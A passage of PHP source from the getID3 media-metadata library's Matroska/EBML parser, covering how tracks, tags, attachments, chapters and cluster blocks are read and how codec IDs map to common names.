EBML_ID_STEREOMODE: case EBML_ID_OLDSTEREOMODE: $track_entry[$sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_subelement['data']); break; case EBML_ID_FLAGINTERLACED: $track_entry[$sub_subelement['id_name']] = (bool)getid3_lib::BigEndian2Int($sub_subelement['data']); break; case EBML_ID_GAMMAVALUE: $track_entry[$sub_subelement['id_name']] = getid3_lib::BigEndian2Float($sub_subelement['data']); break; case EBML_ID_COLOURSPACE: $track_entry[$sub_subelement['id_name']] = getid3_lib::trimNullByte($sub_subelement['data']); break; default: $this->unhandledElement('track.video', __LINE__, $sub_subelement); break; } } break; case EBML_ID_AUDIO: while ($this->getEBMLelement($sub_subelement, $subelement['end'], true)) { switch ($sub_subelement['id']) { case EBML_ID_CHANNELS: case EBML_ID_BITDEPTH: $track_entry[$sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_subelement['data']); break; case EBML_ID_SAMPLINGFREQUENCY: case EBML_ID_OUTPUTSAMPLINGFREQUENCY: $track_entry[$sub_subelement['id_name']] = getid3_lib::BigEndian2Float($sub_subelement['data']); break; case EBML_ID_CHANNELPOSITIONS: $track_entry[$sub_subelement['id_name']] = getid3_lib::trimNullByte($sub_subelement['data']); break; default: $this->unhandledElement('track.audio', __LINE__, $sub_subelement); break; } } break; case EBML_ID_CONTENTENCODINGS: while ($this->getEBMLelement($sub_subelement, $subelement['end'])) { switch ($sub_subelement['id']) { case EBML_ID_CONTENTENCODING: while ($this->getEBMLelement($sub_sub_subelement, $sub_subelement['end'], array(EBML_ID_CONTENTCOMPRESSION, EBML_ID_CONTENTENCRYPTION))) { switch ($sub_sub_subelement['id']) { case EBML_ID_CONTENTENCODINGORDER: case EBML_ID_CONTENTENCODINGSCOPE: case EBML_ID_CONTENTENCODINGTYPE: $track_entry[$sub_subelement['id_name']][$sub_sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_sub_subelement['data']); break; case EBML_ID_CONTENTCOMPRESSION: while ($this->getEBMLelement($sub_sub_sub_subelement, $sub_sub_subelement['end'], true)) { switch ($sub_sub_sub_subelement['id']) { case EBML_ID_CONTENTCOMPALGO: $track_entry[$sub_subelement['id_name']][$sub_sub_subelement['id_name']][$sub_sub_sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_sub_sub_subelement['data']); break; case EBML_ID_CONTENTCOMPSETTINGS: $track_entry[$sub_subelement['id_name']][$sub_sub_subelement['id_name']][$sub_sub_sub_subelement['id_name']] = $sub_sub_sub_subelement['data']; break; default: $this->unhandledElement('track.contentencodings.contentencoding.contentcompression', __LINE__, $sub_sub_sub_subelement); break; } } break; case EBML_ID_CONTENTENCRYPTION: while ($this->getEBMLelement($sub_sub_sub_subelement, $sub_sub_subelement['end'], true)) { switch ($sub_sub_sub_subelement['id']) { case EBML_ID_CONTENTENCALGO: case EBML_ID_CONTENTSIGALGO: case EBML_ID_CONTENTSIGHASHALGO: $track_entry[$sub_subelement['id_name']][$sub_sub_subelement['id_name']][$sub_sub_sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_sub_sub_subelement['data']); break; case EBML_ID_CONTENTENCKEYID: case EBML_ID_CONTENTSIGNATURE: case EBML_ID_CONTENTSIGKEYID: $track_entry[$sub_subelement['id_name']][$sub_sub_subelement['id_name']][$sub_sub_sub_subelement['id_name']] = $sub_sub_sub_subelement['data']; break; default: $this->unhandledElement('track.contentencodings.contentencoding.contentcompression', __LINE__, $sub_sub_sub_subelement); break; } } break; default: $this->unhandledElement('track.contentencodings.contentencoding', __LINE__, $sub_sub_subelement); break; } } break; default: $this->unhandledElement('track.contentencodings', __LINE__, $sub_subelement); break; } } break; default: $this->unhandledElement('track', __LINE__, $subelement); break; } } $info['matroska']['tracks']['tracks'][] = $track_entry; break; default: $this->unhandledElement('tracks', __LINE__, $track_entry); break; } } break; case EBML_ID_INFO: // Contains miscellaneous general information and statistics on the file. $info_entry = array(); while ($this->getEBMLelement($subelement, $element_data['end'], true)) { switch ($subelement['id']) { case EBML_ID_TIMECODESCALE: $info_entry[$subelement['id_name']] = getid3_lib::BigEndian2Int($subelement['data']); break; case EBML_ID_DURATION: $info_entry[$subelement['id_name']] = getid3_lib::BigEndian2Float($subelement['data']); break; case EBML_ID_DATEUTC: $info_entry[$subelement['id_name']] = getid3_lib::BigEndian2Int($subelement['data']); $info_entry[$subelement['id_name'].'_unix'] = self::EBMLdate2unix($info_entry[$subelement['id_name']]); break; case EBML_ID_SEGMENTUID: case EBML_ID_PREVUID: case EBML_ID_NEXTUID: $info_entry[$subelement['id_name']] = getid3_lib::trimNullByte($subelement['data']); break; case EBML_ID_SEGMENTFAMILY: $info_entry[$subelement['id_name']][] = getid3_lib::trimNullByte($subelement['data']); break; case EBML_ID_SEGMENTFILENAME: case EBML_ID_PREVFILENAME: case EBML_ID_NEXTFILENAME: case EBML_ID_TITLE: case EBML_ID_MUXINGAPP: case EBML_ID_WRITINGAPP: $info_entry[$subelement['id_name']] = getid3_lib::trimNullByte($subelement['data']); $info['matroska']['comments'][strtolower($subelement['id_name'])][] = $info_entry[$subelement['id_name']]; break; case EBML_ID_CHAPTERTRANSLATE: $chaptertranslate_entry = array(); while ($this->getEBMLelement($sub_subelement, $subelement['end'], true)) { switch ($sub_subelement['id']) { case EBML_ID_CHAPTERTRANSLATEEDITIONUID: $chaptertranslate_entry[$sub_subelement['id_name']][] = getid3_lib::BigEndian2Int($sub_subelement['data']); break; case EBML_ID_CHAPTERTRANSLATECODEC: $chaptertranslate_entry[$sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_subelement['data']); break; case EBML_ID_CHAPTERTRANSLATEID: $chaptertranslate_entry[$sub_subelement['id_name']] = getid3_lib::trimNullByte($sub_subelement['data']); break; default: $this->unhandledElement('info.chaptertranslate', __LINE__, $sub_subelement); break; } } $info_entry[$subelement['id_name']] = $chaptertranslate_entry; break; default: $this->unhandledElement('info', __LINE__, $subelement); break; } } $info['matroska']['info'][] = $info_entry; break; case EBML_ID_CUES: // A top-level element to speed seeking access. All entries are local to the segment. Should be mandatory for non "live" streams. if (self::$hide_clusters) { // do not parse cues if hide clusters is "ON" till they point to clusters anyway $this->current_offset = $element_data['end']; break; } $cues_entry = array(); while ($this->getEBMLelement($subelement, $element_data['end'])) { switch ($subelement['id']) { case EBML_ID_CUEPOINT: $cuepoint_entry = array(); while ($this->getEBMLelement($sub_subelement, $subelement['end'], array(EBML_ID_CUETRACKPOSITIONS))) { switch ($sub_subelement['id']) { case EBML_ID_CUETRACKPOSITIONS: $cuetrackpositions_entry = array(); while ($this->getEBMLelement($sub_sub_subelement, $sub_subelement['end'], true)) { switch ($sub_sub_subelement['id']) { case EBML_ID_CUETRACK: case EBML_ID_CUECLUSTERPOSITION: case EBML_ID_CUEBLOCKNUMBER: case EBML_ID_CUECODECSTATE: $cuetrackpositions_entry[$sub_sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_sub_subelement['data']); break; default: $this->unhandledElement('cues.cuepoint.cuetrackpositions', __LINE__, $sub_sub_subelement); break; } } $cuepoint_entry[$sub_subelement['id_name']][] = $cuetrackpositions_entry; break; case EBML_ID_CUETIME: $cuepoint_entry[$sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_subelement['data']); break; default: $this->unhandledElement('cues.cuepoint', __LINE__, $sub_subelement); break; } } $cues_entry[] = $cuepoint_entry; break; default: $this->unhandledElement('cues', __LINE__, $subelement); break; } } $info['matroska']['cues'] = $cues_entry; break; case EBML_ID_TAGS: // Element containing elements specific to Tracks/Chapters. $tags_entry = array(); while ($this->getEBMLelement($subelement, $element_data['end'], false)) { switch ($subelement['id']) { case EBML_ID_TAG: $tag_entry = array(); while ($this->getEBMLelement($sub_subelement, $subelement['end'], false)) { switch ($sub_subelement['id']) { case EBML_ID_TARGETS: $targets_entry = array(); while ($this->getEBMLelement($sub_sub_subelement, $sub_subelement['end'], true)) { switch ($sub_sub_subelement['id']) { case EBML_ID_TARGETTYPEVALUE: $targets_entry[$sub_sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_sub_subelement['data']); $targets_entry[strtolower($sub_sub_subelement['id_name']).'_long'] = self::TargetTypeValue($targets_entry[$sub_sub_subelement['id_name']]); break; case EBML_ID_TARGETTYPE: $targets_entry[$sub_sub_subelement['id_name']] = $sub_sub_subelement['data']; break; case EBML_ID_TAGTRACKUID: case EBML_ID_TAGEDITIONUID: case EBML_ID_TAGCHAPTERUID: case EBML_ID_TAGATTACHMENTUID: $targets_entry[$sub_sub_subelement['id_name']][] = getid3_lib::PrintHexBytes($sub_sub_subelement['data'], true, false); break; default: $this->unhandledElement('tags.tag.targets', __LINE__, $sub_sub_subelement); break; } } $tag_entry[$sub_subelement['id_name']] = $targets_entry; break; case EBML_ID_SIMPLETAG: $tag_entry[$sub_subelement['id_name']][] = $this->HandleEMBLSimpleTag($sub_subelement['end']); break; default: $this->unhandledElement('tags.tag', __LINE__, $sub_subelement); break; } } $tags_entry[] = $tag_entry; break; default: $this->unhandledElement('tags', __LINE__, $subelement); break; } } $info['matroska']['tags'] = $tags_entry; break; case EBML_ID_ATTACHMENTS: // Contain attached files. while ($this->getEBMLelement($subelement, $element_data['end'])) { switch ($subelement['id']) { case EBML_ID_ATTACHEDFILE: $attachedfile_entry = array(); while ($this->getEBMLelement($sub_subelement, $subelement['end'], array(EBML_ID_FILEDATA))) { switch ($sub_subelement['id']) { case EBML_ID_FILEDESCRIPTION: case EBML_ID_FILENAME: case EBML_ID_FILEMIMETYPE: $attachedfile_entry[$sub_subelement['id_name']] = $sub_subelement['data']; break; case EBML_ID_FILEDATA: $attachedfile_entry['data_offset'] = $this->current_offset; $attachedfile_entry['data_length'] = $sub_subelement['length']; $attachedfile_entry[$sub_subelement['id_name']] = $this->saveAttachment( $attachedfile_entry['FileName'], $attachedfile_entry['data_offset'], $attachedfile_entry['data_length']); $this->current_offset = $sub_subelement['end']; break; case EBML_ID_FILEUID: $attachedfile_entry[$sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_subelement['data']); break; default: $this->unhandledElement('attachments.attachedfile', __LINE__, $sub_subelement); break; } } $info['matroska']['attachments'][] = $attachedfile_entry; break; default: $this->unhandledElement('attachments', __LINE__, $subelement); break; } } break; case EBML_ID_CHAPTERS: while ($this->getEBMLelement($subelement, $element_data['end'])) { switch ($subelement['id']) { case EBML_ID_EDITIONENTRY: $editionentry_entry = array(); while ($this->getEBMLelement($sub_subelement, $subelement['end'], array(EBML_ID_CHAPTERATOM))) { switch ($sub_subelement['id']) { case EBML_ID_EDITIONUID: $editionentry_entry[$sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_subelement['data']); break; case EBML_ID_EDITIONFLAGHIDDEN: case EBML_ID_EDITIONFLAGDEFAULT: case EBML_ID_EDITIONFLAGORDERED: $editionentry_entry[$sub_subelement['id_name']] = (bool)getid3_lib::BigEndian2Int($sub_subelement['data']); break; case EBML_ID_CHAPTERATOM: $chapteratom_entry = array(); while ($this->getEBMLelement($sub_sub_subelement, $sub_subelement['end'], array(EBML_ID_CHAPTERTRACK, EBML_ID_CHAPTERDISPLAY))) { switch ($sub_sub_subelement['id']) { case EBML_ID_CHAPTERSEGMENTUID: case EBML_ID_CHAPTERSEGMENTEDITIONUID: $chapteratom_entry[$sub_sub_subelement['id_name']] = $sub_sub_subelement['data']; break; case EBML_ID_CHAPTERFLAGENABLED: case EBML_ID_CHAPTERFLAGHIDDEN: $chapteratom_entry[$sub_sub_subelement['id_name']] = (bool)getid3_lib::BigEndian2Int($sub_sub_subelement['data']); break; case EBML_ID_CHAPTERUID: case EBML_ID_CHAPTERTIMESTART: case EBML_ID_CHAPTERTIMEEND: $chapteratom_entry[$sub_sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_sub_subelement['data']); break; case EBML_ID_CHAPTERTRACK: $chaptertrack_entry = array(); while ($this->getEBMLelement($sub_sub_sub_subelement, $sub_sub_subelement['end'], true)) { switch ($sub_sub_sub_subelement['id']) { case EBML_ID_CHAPTERTRACKNUMBER: $chaptertrack_entry[$sub_sub_sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_sub_sub_subelement['data']); break; default: $this->unhandledElement('chapters.editionentry.chapteratom.chaptertrack', __LINE__, $sub_sub_sub_subelement); break; } } $chapteratom_entry[$sub_sub_subelement['id_name']][] = $chaptertrack_entry; break; case EBML_ID_CHAPTERDISPLAY: $chapterdisplay_entry = array(); while ($this->getEBMLelement($sub_sub_sub_subelement, $sub_sub_subelement['end'], true)) { switch ($sub_sub_sub_subelement['id']) { case EBML_ID_CHAPSTRING: case EBML_ID_CHAPLANGUAGE: case EBML_ID_CHAPCOUNTRY: $chapterdisplay_entry[$sub_sub_sub_subelement['id_name']] = $sub_sub_sub_subelement['data']; break; default: $this->unhandledElement('chapters.editionentry.chapteratom.chapterdisplay', __LINE__, $sub_sub_sub_subelement); break; } } $chapteratom_entry[$sub_sub_subelement['id_name']][] = $chapterdisplay_entry; break; default: $this->unhandledElement('chapters.editionentry.chapteratom', __LINE__, $sub_sub_subelement); break; } } $editionentry_entry[$sub_subelement['id_name']][] = $chapteratom_entry; break; default: $this->unhandledElement('chapters.editionentry', __LINE__, $sub_subelement); break; } } $info['matroska']['chapters'][] = $editionentry_entry; break; default: $this->unhandledElement('chapters', __LINE__, $subelement); break; } } break; case EBML_ID_CLUSTER: // The lower level element containing the (monolithic) Block structure. $cluster_entry = array(); while ($this->getEBMLelement($subelement, $element_data['end'], array(EBML_ID_CLUSTERSILENTTRACKS, EBML_ID_CLUSTERBLOCKGROUP, EBML_ID_CLUSTERSIMPLEBLOCK))) { switch ($subelement['id']) { case EBML_ID_CLUSTERTIMECODE: case EBML_ID_CLUSTERPOSITION: case EBML_ID_CLUSTERPREVSIZE: $cluster_entry[$subelement['id_name']] = getid3_lib::BigEndian2Int($subelement['data']); break; case EBML_ID_CLUSTERSILENTTRACKS: $cluster_silent_tracks = array(); while ($this->getEBMLelement($sub_subelement, $subelement['end'], true)) { switch ($sub_subelement['id']) { case EBML_ID_CLUSTERSILENTTRACKNUMBER: $cluster_silent_tracks[] = getid3_lib::BigEndian2Int($sub_subelement['data']); break; default: $this->unhandledElement('cluster.silenttracks', __LINE__, $sub_subelement); break; } } $cluster_entry[$subelement['id_name']][] = $cluster_silent_tracks; break; case EBML_ID_CLUSTERBLOCKGROUP: $cluster_block_group = array('offset' => $this->current_offset); while ($this->getEBMLelement($sub_subelement, $subelement['end'], array(EBML_ID_CLUSTERBLOCK))) { switch ($sub_subelement['id']) { case EBML_ID_CLUSTERBLOCK: $cluster_block_group[$sub_subelement['id_name']] = $this->HandleEMBLClusterBlock($sub_subelement, EBML_ID_CLUSTERBLOCK, $info); break; case EBML_ID_CLUSTERREFERENCEPRIORITY: // unsigned-int case EBML_ID_CLUSTERBLOCKDURATION: // unsigned-int $cluster_block_group[$sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_subelement['data']); break; case EBML_ID_CLUSTERREFERENCEBLOCK: // signed-int $cluster_block_group[$sub_subelement['id_name']][] = getid3_lib::BigEndian2Int($sub_subelement['data'], false, true); break; case EBML_ID_CLUSTERCODECSTATE: $cluster_block_group[$sub_subelement['id_name']] = getid3_lib::trimNullByte($sub_subelement['data']); break; default: $this->unhandledElement('clusters.blockgroup', __LINE__, $sub_subelement); break; } } $cluster_entry[$subelement['id_name']][] = $cluster_block_group; break; case EBML_ID_CLUSTERSIMPLEBLOCK: $cluster_entry[$subelement['id_name']][] = $this->HandleEMBLClusterBlock($subelement, EBML_ID_CLUSTERSIMPLEBLOCK, $info); break; default: $this->unhandledElement('cluster', __LINE__, $subelement); break; } $this->current_offset = $subelement['end']; } if (!self::$hide_clusters) { $info['matroska']['cluster'][] = $cluster_entry; } // check to see if all the data we need exists already, if so, break out of the loop if (!self::$parse_whole_file) { if (isset($info['matroska']['info']) && is_array($info['matroska']['info'])) { if (isset($info['matroska']['tracks']['tracks']) && is_array($info['matroska']['tracks']['tracks'])) { if (count($info['matroska']['track_data_offsets']) == count($info['matroska']['tracks']['tracks'])) { return; } } } } break; default: $this->unhandledElement('segment', __LINE__, $element_data); break; } } break; default: $this->unhandledElement('root', __LINE__, $top_element); break; } } } /** * @param int $min_data * * @return bool */ private function EnsureBufferHasEnoughData($min_data=1024) { if (($this->current_offset - $this->EBMLbuffer_offset) >= ($this->EBMLbuffer_length - $min_data)) { $read_bytes = max($min_data, $this->getid3->fread_buffer_size()); try { $this->fseek($this->current_offset); $this->EBMLbuffer_offset = $this->current_offset; $this->EBMLbuffer = $this->fread($read_bytes); $this->EBMLbuffer_length = strlen($this->EBMLbuffer); } catch (getid3_exception $e) { $this->warning('EBML parser: '.$e->getMessage()); return false; } if ($this->EBMLbuffer_length == 0 && $this->feof()) { return $this->error('EBML parser: ran out of file at offset '.$this->current_offset); } } return true; } /** * @return int|float|false */ private function readEBMLint() { $actual_offset = $this->current_offset - $this->EBMLbuffer_offset; // get length of integer $first_byte_int = ord($this->EBMLbuffer[$actual_offset]); if (0x80 & $first_byte_int) { $length = 1; } elseif (0x40 & $first_byte_int) { $length = 2; } elseif (0x20 & $first_byte_int) { $length = 3; } elseif (0x10 & $first_byte_int) { $length = 4; } elseif (0x08 & $first_byte_int) { $length = 5; } elseif (0x04 & $first_byte_int) { $length = 6; } elseif (0x02 & $first_byte_int) { $length = 7; } elseif (0x01 & $first_byte_int) { $length = 8; } else { throw new Exception('invalid EBML integer (leading 0x00) at '.$this->current_offset); } // read $int_value = self::EBML2Int(substr($this->EBMLbuffer, $actual_offset, $length)); $this->current_offset += $length; return $int_value; } /** * @param int $length * @param bool $check_buffer * * @return string|false */ private function readEBMLelementData($length, $check_buffer=false) { if ($check_buffer && !$this->EnsureBufferHasEnoughData($length)) { return false; } $data = substr($this->EBMLbuffer, $this->current_offset - $this->EBMLbuffer_offset, $length); $this->current_offset += $length; return $data; } /** * @param array $element * @param int $parent_end * @param array|bool $get_data * * @return bool */ private function getEBMLelement(&$element, $parent_end, $get_data=false) { if ($this->current_offset >= $parent_end) { return false; } if (!$this->EnsureBufferHasEnoughData()) { $this->current_offset = PHP_INT_MAX; // do not exit parser right now, allow to finish current loop to gather maximum information return false; } $element = array(); // set offset $element['offset'] = $this->current_offset; // get ID $element['id'] = $this->readEBMLint(); // get name $element['id_name'] = self::EBMLidName($element['id']); // get length $element['length'] = $this->readEBMLint(); // get end offset $element['end'] = $this->current_offset + $element['length']; // get raw data $dont_parse = (in_array($element['id'], $this->unuseful_elements) || $element['id_name'] == dechex($element['id'])); if (($get_data === true || (is_array($get_data) && !in_array($element['id'], $get_data))) && !$dont_parse) { $element['data'] = $this->readEBMLelementData($element['length'], $element); } return true; } /** * @param string $type * @param int $line * @param array $element */ private function unhandledElement($type, $line, $element) { // warn only about unknown and missed elements, not about unuseful if (!in_array($element['id'], $this->unuseful_elements)) { $this->warning('Unhandled '.$type.' element ['.basename(__FILE__).':'.$line.'] ('.$element['id'].'::'.$element['id_name'].' ['.$element['length'].' bytes]) at '.$element['offset']); } // increase offset for unparsed elements if (!isset($element['data'])) { $this->current_offset = $element['end']; } } /** * @param array $SimpleTagArray * * @return bool */ private function ExtractCommentsSimpleTag($SimpleTagArray) { if (!empty($SimpleTagArray['SimpleTag'])) { foreach ($SimpleTagArray['SimpleTag'] as $SimpleTagKey => $SimpleTagData) { if (!empty($SimpleTagData['TagName']) && !empty($SimpleTagData['TagString'])) { $this->getid3->info['matroska']['comments'][strtolower($SimpleTagData['TagName'])][] = $SimpleTagData['TagString']; } if (!empty($SimpleTagData['SimpleTag'])) { $this->ExtractCommentsSimpleTag($SimpleTagData); } } } return true; } /** * @param int $parent_end * * @return array */ private function HandleEMBLSimpleTag($parent_end) { $simpletag_entry = array(); while ($this->getEBMLelement($element, $parent_end, array(EBML_ID_SIMPLETAG))) { switch ($element['id']) { case EBML_ID_TAGNAME: case EBML_ID_TAGLANGUAGE: case EBML_ID_TAGSTRING: case EBML_ID_TAGBINARY: $simpletag_entry[$element['id_name']] = $element['data']; break; case EBML_ID_SIMPLETAG: $simpletag_entry[$element['id_name']][] = $this->HandleEMBLSimpleTag($element['end']); break; case EBML_ID_TAGDEFAULT: $simpletag_entry[$element['id_name']] = (bool)getid3_lib::BigEndian2Int($element['data']); break; default: $this->unhandledElement('tag.simpletag', __LINE__, $element); break; } } return $simpletag_entry; } /** * @param array $element * @param int $block_type * @param array $info * * @return array */ private function HandleEMBLClusterBlock($element, $block_type, &$info) { // http://www.matroska.org/technical/specs/index.html#block_structure // http://www.matroska.org/technical/specs/index.html#simpleblock_structure $block_data = array(); $block_data['tracknumber'] = $this->readEBMLint(); $block_data['timecode'] = getid3_lib::BigEndian2Int($this->readEBMLelementData(2), false, true); $block_data['flags_raw'] = getid3_lib::BigEndian2Int($this->readEBMLelementData(1)); if ($block_type == EBML_ID_CLUSTERSIMPLEBLOCK) { $block_data['flags']['keyframe'] = (($block_data['flags_raw'] & 0x80) >> 7); //$block_data['flags']['reserved1'] = (($block_data['flags_raw'] & 0x70) >> 4); } else { //$block_data['flags']['reserved1'] = (($block_data['flags_raw'] & 0xF0) >> 4); } $block_data['flags']['invisible'] = (bool)(($block_data['flags_raw'] & 0x08) >> 3); $block_data['flags']['lacing'] = (($block_data['flags_raw'] & 0x06) >> 1); // 00=no lacing; 01=Xiph lacing; 11=EBML lacing; 10=fixed-size lacing if ($block_type == EBML_ID_CLUSTERSIMPLEBLOCK) { $block_data['flags']['discardable'] = (($block_data['flags_raw'] & 0x01)); } else { //$block_data['flags']['reserved2'] = (($block_data['flags_raw'] & 0x01) >> 0); } $block_data['flags']['lacing_type'] = self::BlockLacingType($block_data['flags']['lacing']); // Lace (when lacing bit is set) if ($block_data['flags']['lacing'] > 0) { $block_data['lace_frames'] = getid3_lib::BigEndian2Int($this->readEBMLelementData(1)) + 1; // Number of frames in the lace-1 (uint8) if ($block_data['flags']['lacing'] != 0x02) { for ($i = 1; $i < $block_data['lace_frames']; $i ++) { // Lace-coded size of each frame of the lace, except for the last one (multiple uint8). *This is not used with Fixed-size lacing as it is calculated automatically from (total size of lace) / (number of frames in lace). if ($block_data['flags']['lacing'] == 0x03) { // EBML lacing $block_data['lace_frames_size'][$i] = $this->readEBMLint(); // TODO: read size correctly, calc size for the last frame. For now offsets are deteminded OK with readEBMLint() and that's the most important thing. } else { // Xiph lacing $block_data['lace_frames_size'][$i] = 0; do { $size = getid3_lib::BigEndian2Int($this->readEBMLelementData(1)); $block_data['lace_frames_size'][$i] += $size; } while ($size == 255); } } if ($block_data['flags']['lacing'] == 0x01) { // calc size of the last frame only for Xiph lacing, till EBML sizes are now anyway determined incorrectly $block_data['lace_frames_size'][] = $element['end'] - $this->current_offset - array_sum($block_data['lace_frames_size']); } } } if (!isset($info['matroska']['track_data_offsets'][$block_data['tracknumber']])) { $info['matroska']['track_data_offsets'][$block_data['tracknumber']]['offset'] = $this->current_offset; $info['matroska']['track_data_offsets'][$block_data['tracknumber']]['length'] = $element['end'] - $this->current_offset; //$info['matroska']['track_data_offsets'][$block_data['tracknumber']]['total_length'] = 0; } //$info['matroska']['track_data_offsets'][$block_data['tracknumber']]['total_length'] += $info['matroska']['track_data_offsets'][$block_data['tracknumber']]['length']; //$info['matroska']['track_data_offsets'][$block_data['tracknumber']]['duration'] = $block_data['timecode'] * ((isset($info['matroska']['info'][0]['TimecodeScale']) ? $info['matroska']['info'][0]['TimecodeScale'] : 1000000) / 1000000000); // set offset manually $this->current_offset = $element['end']; return $block_data; } /** * @param string $EBMLstring * * @return int|float|false */ private static function EBML2Int($EBMLstring) { // http://matroska.org/specs/ // Element ID coded with an UTF-8 like system: // 1xxx xxxx - Class A IDs (2^7 -2 possible values) (base 0x8X) // 01xx xxxx xxxx xxxx - Class B IDs (2^14-2 possible values) (base 0x4X 0xXX) // 001x xxxx xxxx xxxx xxxx xxxx - Class C IDs (2^21-2 possible values) (base 0x2X 0xXX 0xXX) // 0001 xxxx xxxx xxxx xxxx xxxx xxxx xxxx - Class D IDs (2^28-2 possible values) (base 0x1X 0xXX 0xXX 0xXX) // Values with all x at 0 and 1 are reserved (hence the -2). // Data size, in octets, is also coded with an UTF-8 like system : // 1xxx xxxx - value 0 to 2^7-2 // 01xx xxxx xxxx xxxx - value 0 to 2^14-2 // 001x xxxx xxxx xxxx xxxx xxxx - value 0 to 2^21-2 // 0001 xxxx xxxx xxxx xxxx xxxx xxxx xxxx - value 0 to 2^28-2 // 0000 1xxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx - value 0 to 2^35-2 // 0000 01xx xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx - value 0 to 2^42-2 // 0000 001x xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx - value 0 to 2^49-2 // 0000 0001 xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx - value 0 to 2^56-2 $first_byte_int = ord($EBMLstring[0]); if (0x80 & $first_byte_int) { $EBMLstring[0] = chr($first_byte_int & 0x7F); } elseif (0x40 & $first_byte_int) { $EBMLstring[0] = chr($first_byte_int & 0x3F); } elseif (0x20 & $first_byte_int) { $EBMLstring[0] = chr($first_byte_int & 0x1F); } elseif (0x10 & $first_byte_int) { $EBMLstring[0] = chr($first_byte_int & 0x0F); } elseif (0x08 & $first_byte_int) { $EBMLstring[0] = chr($first_byte_int & 0x07); } elseif (0x04 & $first_byte_int) { $EBMLstring[0] = chr($first_byte_int & 0x03); } elseif (0x02 & $first_byte_int) { $EBMLstring[0] = chr($first_byte_int & 0x01); } elseif (0x01 & $first_byte_int) { $EBMLstring[0] = chr($first_byte_int & 0x00); } return getid3_lib::BigEndian2Int($EBMLstring); } /** * @param int $EBMLdatestamp * * @return float */ private static function EBMLdate2unix($EBMLdatestamp) { // Date - signed 8 octets integer in nanoseconds with 0 indicating the precise beginning of the millennium (at 2001-01-01T00:00:00,000000000 UTC) // 978307200 == mktime(0, 0, 0, 1, 1, 2001) == January 1, 2001 12:00:00am UTC return round(($EBMLdatestamp / 1000000000) + 978307200); } /** * @param int $target_type * * @return string|int */ public static function TargetTypeValue($target_type) { // http://www.matroska.org/technical/specs/tagging/index.html static $TargetTypeValue = array(); if (empty($TargetTypeValue)) { $TargetTypeValue[10] = 'A: ~ V:shot'; // the lowest hierarchy found in music or movies $TargetTypeValue[20] = 'A:subtrack/part/movement ~ V:scene'; // corresponds to parts of a track for audio (like a movement) $TargetTypeValue[30] = 'A:track/song ~ V:chapter'; // the common parts of an album or a movie $TargetTypeValue[40] = 'A:part/session ~ V:part/session'; // when an album or episode has different logical parts $TargetTypeValue[50] = 'A:album/opera/concert ~ V:movie/episode/concert'; // the most common grouping level of music and video (equals to an episode for TV series) $TargetTypeValue[60] = 'A:edition/issue/volume/opus ~ V:season/sequel/volume'; // a list of lower levels grouped together $TargetTypeValue[70] = 'A:collection ~ V:collection'; // the high hierarchy consisting of many different lower items } return (isset($TargetTypeValue[$target_type]) ? $TargetTypeValue[$target_type] : $target_type); } /** * @param int $lacingtype * * @return string|int */ public static function BlockLacingType($lacingtype) { // http://matroska.org/technical/specs/index.html#block_structure static $BlockLacingType = array(); if (empty($BlockLacingType)) { $BlockLacingType[0x00] = 'no lacing'; $BlockLacingType[0x01] = 'Xiph lacing'; $BlockLacingType[0x02] = 'fixed-size lacing'; $BlockLacingType[0x03] = 'EBML lacing'; } return (isset($BlockLacingType[$lacingtype]) ? $BlockLacingType[$lacingtype] : $lacingtype); } /** * @param string $codecid * * @return string */ public static function CodecIDtoCommonName($codecid) { // http://www.matroska.org/technical/specs/codecid/index.html static $CodecIDlist = array(); if (empty($CodecIDlist)) { $CodecIDlist['A_AAC'] = 'aac'; $CodecIDlist['A_AAC/MPEG2/LC'] = 'aac'; $CodecIDlist['A_AC3'] = 'ac3'; $CodecIDlist['A_EAC3'] = 'eac3'; $CodecIDlist['A_DTS'] = 'dts'; $CodecIDlist['A_FLAC'] = 'flac'; $CodecIDlist['A_MPEG/L1'] = 'mp1'; $CodecIDlist['A_MPEG/L2'] = 'mp2'; $CodecIDlist['A_MPEG/L3'] = 'mp3'; $CodecIDlist['A_PCM/INT/LIT'] = 'pcm'; // PCM Integer Little Endian $CodecIDlist['A_PCM/INT/BIG'] = 'pcm'; // PCM Integer Big Endian $CodecIDlist['A_QUICKTIME/QDMC'] = 'quicktime'; // Quicktime: QDesign Music $CodecIDlist['A_QUICKTIME/QDM2'] = 'quicktime'; // Quicktime: QDesign Music v2 $CodecIDlist['A_VORBIS'] = 'vorbis'; $CodecIDlist['V_MPEG1'] = 'mpeg'; $CodecIDlist['V_THEORA'] = 'theora'; $CodecIDlist['V_REAL/RV40'] = 'real'; $CodecIDlist['V_REAL/RV10'] = 'real'; $CodecIDlist['V_REAL/RV20'] = 'real'; $CodecIDlist['V_REAL/RV30'] = 'real'; $CodecIDlist['V_QUICKTIME'] = 'quicktime'; // Quicktime $CodecIDlist['V_MPEG4/ISO/AP'] = 'mpeg4'; $CodecIDlist['V_MPEG4/ISO/ASP'] = 'mpeg4'; $CodecIDlist['V_MPEG4/ISO/AVC'] = 'h264'; $CodecIDlist['V_MPEG4/ISO/SP'] = 'mpeg4'; $CodecIDlist['V_VP8'] = 'vp8'; $CodecIDlist['V_MS/VFW/FOURCC'] = 'vcm'; // Microsoft (TM) Video Codec Manager (VCM) $CodecIDlist['A_MS/ACM'] = 'acm'; // Microsoft (TM) Audio Codec Manager (ACM) } return (isset($CodecIDlist[$codecid]) ? $CodecIDlist[$codecid] : $codecid); } /** * @param int $value * * @return string */ private static function EBMLidName($value) { static 